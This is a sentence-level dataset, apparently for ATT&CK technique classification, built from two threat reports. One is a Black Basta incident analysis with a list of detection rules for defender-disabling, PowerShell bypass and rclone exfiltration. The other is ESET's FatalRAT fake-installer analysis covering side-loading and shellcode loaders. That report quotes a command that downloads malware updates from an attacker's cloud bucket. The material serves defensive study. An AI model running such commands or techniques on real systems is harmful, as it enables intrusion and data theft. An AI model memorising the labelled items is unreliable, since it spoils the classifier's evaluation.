{"sentence": "HOST 2: EXPERIMENTAL HOST", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "The experimental host rans Windows 10 build 19041.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This host was used for detonation of the malware samples provided by the client.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "NXlog is installed on this host.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Windows logging is forwarded to Host 3.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Host 1 is configured to be the internet gateway.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Aside from the logging connection to host 3, all other connections are forced through Host 1.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "X32dbg:", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Interactive debugging program.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Regshot: Captures a \"snapshot\" of the registry before and after detonation of a sample to observe the changes on the host.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Network packet capture and analysis.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Qakbot Registry Decryption Tool: Used to decrypt Qakbot registry entries.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "HOST 3: LOGGING HOST The logging host runs Debian 11.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "This host only receives windows logging from Host 2. INDEX C: LIST OF SAGAN RULES DEVELOPED FROM THIS INCIDENT Rules that were developed following this incident.", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "A full list of Sagan Rules can be found on github.com/quadrantsec/sagan-rules Rule Name SID [CISCO-SECUREENDPOINT] Exploit attempt was detected 5008352", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[CISCO-SECUREENDPOINT] Exploit attempt was prevented 5008355", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[CISCO-SECUREENDPOINT] Event Engine Detection 5008356", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-CLIPBOARD] Get-ADGroupMember Command 5008362", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-CLIPBOARD] Get-ADUser Command 5008363", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-CLIPBOARD] Service being stopped 5008364", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-CLIPBOARD] Powershell Policy Bypass Command 5008365", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-CLIPBOARD]", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Disable Windows Defender Command 5008366", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Disable Realtime Monitoring Command 5008367", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-CLIPBOARD] Uninstall Windows Defender Command 5008368", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-CLIPBOARD] Remoe-exec psexec command 5008369 [WINDOWS-CLIPBOARD]", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Powershell encodedcommand 5008370 [WINDOWS-CLIPBOARD] rundll32 command 5008371", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-CLIPBOARD] rundll32 command with DllRegisterServer 5008372", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-CLIPBOARD] net commands 5008373 [WINDOWS-CLIPBOARD] net commands 5008374 [WINDOWS-CLIPBOARD] query user command 5008375", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-CLIPBOARD] rwinsta command 5008376 [WINDOWS-CLIPBOARD] nltest command 5008377", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-CLIPBOARD] netstat output v1 5008378 [WINDOWS-CLIPBOARD] netstat output v2 5008379", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-CLIPBOARD] copy from share drive to local C: command 5008380", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-CLIPBOARD] bitsadmin file transfer command 5008381", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-CLIPBOARD] proxychains command 5008382", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-SECURITY] Service being stopped by net command v1 5008343", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-SECURITY] Service being stopped by net command v2 5008344", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-SECURITY]", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Disable Windows Security 5008347", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-SECURITY] Copied rundll32 command executing non-standard dll 5008348", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-SECURITY] Possible UAC Bypass - Rundll32.exe using DLLRegister 5008351", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-SECURITY] Exfil software rclone detected 5008354 [WINDOWS-SECURITY]", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "A service was installed in the system (powershell) 5008357 [WINDOWS-SECURITY]", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "A service was installed in the system (DllRegisterServer) 5008358 [WINDOWS-SECURITY]", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "A service was installed in the system (rundll32 .xls) 5008359 [WINDOWS-SECURITY]", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "A service was installed in the system (rundll32 public directory) 5008360 [WINDOWS-SECURITY]", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Blackbasta ransomware file extension detected (.basta)", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "5008361 [WINDOWS-SYSMON] CMD executed from spool directory 5008345", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-SYSMON] Rundll32 network connection detected 5008346", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-SYSMON]", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "Possible Traversal - File created in Public directory 5008349", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-SYSMON] Possible hidden service installed 5008350", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "[WINDOWS-SYSMON] Process Injection - Rundll32 remote thread into winlogon 5008353 [WINDOWS-SYSMON] Safeboot Registry Entry - Possible Blackbasta 5008399 INDEX D: REFERENCES -Deepinstinct’s review of similar Black Bast activityhttps://www.deepinstinct.com/blog/black-basta-ransomware-threat-emergence -Northwaves review of similar Black Basta activity to include the use of Qbot and Ransomware https://northwave-security.com/en/black-basta-blog/ -VirusTotal results for the file has of zfgufgfvezdnbcvjkzctpvfdj.dll, indicating Brute Ratel https://www.virustotal.com/gui/file/62cb24967c6ce18d35d2a23ebed4217889d796cf7799d9075c1aa7752b8d3967 -Brute Ratel and the use of PSEexc showing use of SMB for Remote Control:https://bruteratel.com/tabs/badger/commands/psexec/ -Brute Ratel and RPC Services:https://bruteratel.com/tabs/badger/commands/services/ -Recent warning regarding use of RCLONE by threat actors \"Daixin Team\" https://www.cisa.gov/uscert/ncas/alerts/aa22-294a -Qakbot Registry Decryption Tool https://github.com/drole/qakbot-registry-decrypt -Cybercheif recipe to extract and decode Shellcode from Bobal Strike Beacon https://gist.github.com/0xtornado/69d12572520122cb9bddc2d6793d97ab -Decoding of files similar to \"w.bat\" https://superuser.com/questions/1676713/how-to-decode-contents-of-a-batch-file-with-chinese-characters -Quadrant’s Github page for the Sagan Log Analysis Enginehttps://github.com/quadrantsec/sagan-rules For more information regarding this analysis interested parties should contact cclark@quadrantsec.com", "labels": [], "doc_title": "Technical Analysis Black Basta Malware Overview"}
{"sentence": "ESET researchers have identified a campaign using trojanized installers to deliver the FatalRAT malware, distributed via malicious websites linked in ads that appear in Google search results ESET researchers identified a malware campaign that targets Chinese-speaking people in Southeast and East Asia by buying misleading advertisements to appear in Google search results that lead to downloading trojanized installers.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The unknown attackers created fake websites that look identical to those of popular applications such as Firefox, WhatsApp, or Telegram, but in addition to providing the legitimate software, also deliver FatalRAT, a remote access trojan that grants the attacker control of the victimized computer.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Key points of the blogpost: The attackers purchased advertisements to position their malicious websites in the “sponsored” section of Google search results.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "We reported these ads to Google and they were promptly removed.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The websites and installers downloaded from them are mostly in Chinese and in some cases falsely offer Chinese language versions of software that is not available in China.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "We observed victims mostly in Southeast and East Asia, suggesting that the advertisements were targeting that region.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "We observed these attacks between August 2022 and January 2023, but according to our telemetry previous versions of the installers have been used since at least May 2022.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "None of the malware or network infrastructure used in this campaign has been matched to known activities of any named groups, so for now we have not attributed this activity to any known group.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Victimology Figure 1 shows a heatmap with the countries where we detected the attacks between August 2022 and January 2023.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Most of the attacks affected users in Taiwan, China and Hong Kong.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Countries where we detected the attacks between August 2022 and January 2023 We also observed a small number of cases in: Malaysia Japan The Philippines Thailand Singapore Indonesia Myanmar Attack overview A simplified overview of the attack is shown in Figure 2.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "A chain of multiple components ultimately installs the FatalRAT malware that was described by AT&T researchers (@attcyber) in August 2021.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Simplified overview of the attack Fake websites", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The attackers registered various domain names that all pointed to the same IP address: a server hosting multiple websites that download trojanized software.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Some of these websites look identical to their legitimate counterparts but deliver malicious installers instead.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The other websites, possibly translated by the attackers, offer Chinese language versions of software that is not available in China, such as Telegram, as shown in Figure 3. Figure 3.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Fake Telegram website that delivers the FatalRAT malware We observed malicious websites and installers for these applications, roughly in order of popularity: Chrome Firefox Telegram WhatsApp Line Signal Skype Electrum Bitcoin wallet Sogou Pinyin Method, a Chinese Pinyin input method editor Youdao, a dictionary and translation application WPS Office, a free office suite You can see other fake websites in the gallery shown in Figure 4 (click on an image to enlarge it).", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Apart from electrumx[.]org, a fake website in English for the Electrum Bitcoin wallet, all the other websites are in Chinese, suggesting that the attackers are mostly targeting Chinese speakers.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Fake websites created by the attackers to deliver malicious installers (click to enlarge)", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "While in theory there are many possible ways that potential victims can be directed to these fake websites, a news site reported (English version here) that they were being shown an advertisement that led to one of these malicious websites when searching for the Firefox browser in Google.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "We couldn’t reproduce such search results, but believe that the ads were only served to users in the targeted region.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "An example is shown in Figure 5 (image from the original post above).", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "We reported the websites to Google and the ads were taken down.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Search results for Firefox, with a fake website advertised (image credit: landiannews.com)", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Given the fact that many of the domain names that the attackers registered for their websites are very similar to the legitimate domains, it is also possible that the attackers rely on typosquatting as well to attract potential victims to their websites.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Some examples are: You’ll find the rest of the domain names that we observed in the IoCs section.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Installers The installers downloaded from the fake websites are not hosted on the same server as the websites, but in the Alibaba Cloud Object Storage Service.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "They are digitally signed MSI files (see the Certificates section) created with Advanced Installer.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Figure 6 shows the malicious installers that the attackers uploaded to the cloud storage on January 6th, 2023.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Malicious installers uploaded by the attackers to their cloud storage on January 6th, 2023 When these installers are executed, they usually: Drop and execute the malicious loader, and files needed to run the FatalRAT malware, in the %PROGRAMDATA%\\Progtmy directory.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Drop the malicious updater and related files in the %PROGRAMDATA%\\Progtmy\\0 directory.", "labels": ["T1036.005"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Drop a file named ossutilconfig in the %USERPROFILE% directory.", "labels": ["T1036.005"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "This file contains credentials used by the updater to connect to a remote bucket in the Alibaba Cloud.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Create an empty directory %", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "PROGRAMDATA%\\Progptp (although we observed some cases where the FatalRAT malware was installed in this directory instead).", "labels": ["T1036.005"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Drop and execute the legitimate installer in C:\\Program Files\\Common Files (see CommonFiles64Folder).", "labels": ["T1036.005", "T1053.005"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Create scheduled tasks to execute the loader and updater components.", "labels": ["T1053.005"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The malware is run by side-loading a malicious DLL, libpng13.dll, which is used by sccs.exe (Browser Support Module), a legitimate executable developed by Xunlei.", "labels": ["T1574.002"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The original libpng13.dll is also included in the installer package (renamed to what appears to be a random name) because the malicious DLL forwards its exported functions to the original DLL.", "labels": ["T1055"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Some of the forwarded exports in the malicious DLL are shown in Figure 7.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The image shows that the original DLL was renamed to BHuedjhd.dll in this example and that the malicious DLL was compiled as Dll22.dll.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Part of the exported functions in the malicious DLL that are forwarded to the original The malware updater is executed in a similar manner, by side-loading dr.dll, used by a legitimate, signed binary developed by Tencent.", "labels": ["T1036.005", "T1574.002"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The malicious DLL is very simple and executes OSSUTIL (included in the installer package as ssu.exe) to download files from an attacker-controlled bucket in Alibaba Cloud.", "labels": ["T1059.003", "T1105"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The command executed by the DLL is: cmd /C", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "“C:\\ProgramData\\Progtmy\\2\\ssu.exe cp -r oss://occ-a1/dll/3/ C:\\ProgramData\\Progtmy\\ –update” This should update files in the %PROGRAMDATA%\\Progtmy local directory from the remote bucket occ-a1 (a different bucket than the ones used to store the installers, but in the same account), but it doesn’t work in any of the installers that we analyzed because the %PROGRAMDATA%\\Progtmy\\2 subdirectory doesn’t exist (it should be subdirectory 0, created by the installer).", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The attackers made the same mistake with the scheduled tasks created for the updater, as the execution path also refers to a subdirectory 2 that doesn’t exist.", "labels": ["T1053.005"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "In most cases, four scheduled tasks are created: two for the RAT (one set to execute periodically and the other whenever any user logs into the PC) and two for the updater.", "labels": ["T1053.005"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The names of the tasks are based in the Windows build number and the name of the computer, as shown in Figure 8. Figure 8.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Scheduled tasks created by the malicious installers Loaders The loader – libpng13.dll – is a very simple component that opens and executes in memory a file named Micr.jpg, located in the same directory as the DLL.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The attackers have obfuscated the loader with many calls to a function that just prints some hardcoded values.", "labels": ["T1027"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "It’s possible that this behavior was used to avoid being detected by security solutions or to complicate the analysis of the DLL.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Figure 9 shows an example of the obfuscated code on the left and the deobfuscated code on the right.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Part of the decompiled code for libpng13.dll on the left and on the right the same code deobfuscated Micr.jpg is actually shellcode that also contains an embedded DLL.", "labels": ["T1027"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The purpose of this shellcode is to load and execute in memory the embedded DLL by calling an export function of the DLL named SignalChromeElf.", "labels": ["T1027"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Before the execution of this export function, the shellcode reconstructs the imports table of the DLL and calls the DllEntryPoint, which simply invokes the Windows API function DisableThreadLibraryCalls as a way to increase the stealthiness of the DLL. SignalChromeElf essentially will decrypt, load, and execute an encrypted payload located in the embedded DLL.", "labels": ["T1027", "T1106", "T1140"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "This encrypted payload is the FatalRAT malware, and after its decryption the DLL will find the address of an export function called SVP7, which contains the entry point of the malware, and call it, passing the encrypted configuration of FatalRAT as an argument.", "labels": ["T1027"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The function in the embedded DLL that decrypts the payload is the same as the function used in FatalRAT to decrypt its configuration.", "labels": ["T1140"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "An example of this function is shown in Figure 10.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "FatalRAT FatalRAT is a remote access trojan documented in August 2021, by AT&T Alien Labs.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "This malware provides a set of functionalities to perform various malicious activities on a victim’s computer.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "As an example, the malware can: Capture keystrokes Change the victim’s screen resolution Terminate browser processes and steal or delete their stored data.", "labels": ["T1056.001"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The targeted browsers are: Chrome Firefox QQBrowser Sogou Explorer Download and execute a file Execute shell commands This malware contains various checks to determine whether it’s running in a virtualized environment.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Depending on its configuration, these checks may be executed or not.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "From our own analysis we were able to determine that the FatalRAT version used in this campaign is very similar to the one documented by AT&T in their blogpost, so we won’t go into more details.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "A comparison of them is shown in Figure 11, and Figure 10 shows the decompiled code used to decrypt strings in the FatalRAT samples from this campaign, which is the same as the one described by AT&T. Figure 10.", "labels": ["T1027"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Decompiled code of a function used by a FatalRAT sample to decrypt its configuration strings Figure 11.", "labels": ["T1027", "T1140"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "BinDiff comparison between a FatalRAT sample analyzed by AT&T and the FatalRAT sample found in this campaign Previous version We found a previous version of the malicious installer that the attackers have used since at least May 2022.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Unlike the installers that we described previously, this version contains an XOR-encrypted payload, divided into three files: Micr.flv, Micr2.flv, and Micr3.flv, each file encrypted with a different, single byte XOR key.", "labels": ["T1027"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Once decrypted, the content of the three files is concatenated, forming shellcode that contacts a C&C server to download and execute further shellcode.", "labels": ["T1105"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The loader DLL in this case is named dr.dll – the same name that is used for the update mechanism in later versions of the installer, side-loaded by the same legitimate executable.", "labels": ["T1574.002"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Given that this older version doesn’t seem to have an updater, we believe that the attackers have replaced it with the new version of the installer since August 2022.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Twitter user Jirehlov Solace reported other versions of the installers starting in May 2022, as can be seen in this thread.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Although some of those installers are the same as ones in this report, it seems that most of them are different, compiled as EXE files (not MSI installers) and using a variety of software packers.", "labels": ["T1027"], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Those samples are probably connected with Operation Dragon Breath as described by Qi An Xin in May 2022.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Conclusion The attackers have expended some effort regarding the domain names used for their websites, trying to be as similar to the official names as possible.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "The fake websites are, in most cases, identical copies of the legitimate sites.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "As for the trojanized installers, they install the actual application that the user was interested in, avoiding suspicion of a possible compromise on the victim’s machine.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "For all of these reasons, we see how important it is to diligently check the URL that we are visiting before we download software.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Even better, type it into your browser’s address bar after checking that it is the actual vendor site.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "Since the malware used is this campaign, FatalRAT, contains various commands used to manipulate data from different browsers, and the victimology is not focused on a particular type of user, anyone can be affected.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "It is possible that the attackers are solely interested in the theft of information like web credentials to sell them on underground forums or to use them for another type of crimeware campaign, but for now specific attribution of this campaign to a known or new threat actor is not possible.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "ESET Research offers private APT intelligence reports and data feeds.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "IoCs Files SHA-1FilenameESET detection nameDescription 00FD2783BBFA313A41A1A96F708BC1A4BB9EACBDChrome-Setup.msiWin32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "AFAHMalicious MSI installer.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "3DAC2A16F023F9F8C7F8C40937EE54BBA5E82F47Firefox-x64.msiWin32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "51D29B025A0D4C5CDC799689462FAE53765C02A3LINE-Setup.msiWin32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "64C60F503662EF6FF13CC60AB516D33643668449Signal-Setup.msiWin32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "2172812BE94BFBB5D11B43A8BF53F8D3AE323636Skype-x64.msiWin32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "3620B83C0F2899B85DC0607EFDEC3643BCA2441DSogou-setup.msiWin32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "1FBE34ABD5BE9826FD5798C77FADCAC170F46C07Whats-64.msiWin32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "23F8FA0E08FB771545CD842AFDE6604462C2B7E3Whats-Setup.msiWin32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "C9970ACED030AE08FA0EE5D9EE70A392C812FB1BWhatsApp-中文.msi (machine translation: Chinese)Win32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "AFAHMalicious MSI installer. 76249D1EF650FA95E73758DD334D7B51BD40A2E6WPS-SetuWhatsApp-中文p.msi (machine translation: Chinese)Win32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "DBE21B19C484645000F4AEE558E5546880886DC0电报-中文版.msi (machine translation: Telegram - Chinese Version)Win32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "1BE646816C8543855A96460D437CCF60ED4D31FE电报中文-64.msi (machine translation: Telegram Chinese)Win32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "B6F068F73A8F8F3F2DA1C55277E098B98F7963EC电报中文-setup.msi (machine translation: Telegram Chinese)Win32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "2A8297247184C0877E75C77826B40CD2A97A18A7windows-x64中文.exe (machine translation: Chinese)Win32/ShellcodeRunner.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "BRMalicious installer (older version).", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "ADC4EB1EDAC5A53A37CC8CC90B11824263355687libpng13.dllWin32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "AFAHLoader DLL.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "EF0BB8490AC43BF8CF7BBA86B137B0D29BEE61FAdr.dllWin32/Agent.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "AFAHUpdater DLL.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
{"sentence": "AD4513B8349209717A351E1A18AB9FD3E35165A3dr.dllWin32/ShellcodeRunner.", "labels": [], "doc_title": "These arent the apps youre looking for fake installers targeting Southeast and East Asia"}
